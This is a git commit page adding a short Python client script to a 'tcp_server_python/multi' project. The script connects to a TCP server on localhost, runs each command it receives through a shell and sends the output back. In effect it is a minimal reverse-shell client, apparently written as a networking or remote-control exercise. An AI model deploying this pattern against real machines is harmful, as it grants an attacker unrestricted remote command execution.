added
This commit is contained in:
23
tcp_server_python/multi/client.py
Executable file
23
tcp_server_python/multi/client.py
Executable file
@@ -0,0 +1,23 @@
|
||||
import socket
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
s = socket.socket()
|
||||
host = '127.0.0.1'
|
||||
port = 9999
|
||||
|
||||
s.connect((host, port))
|
||||
|
||||
while True:
|
||||
data = s.recv(1024)
|
||||
if data[:2].decode("utf-8") == 'cd':
|
||||
os.chdir(data[3:].decode("utf-8"))
|
||||
|
||||
if len(data) > 0:
|
||||
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
output_byte = cmd.stdout.read() + cmd.stderr.read()
|
||||
output_str = str(output_byte,"utf-8")
|
||||
currentWD = os.getcwd() + "> "
|
||||
s.send(str.encode(output_str + currentWD))
|
||||
|
||||
print(output_str)
|
||||
Reference in New Issue
Block a user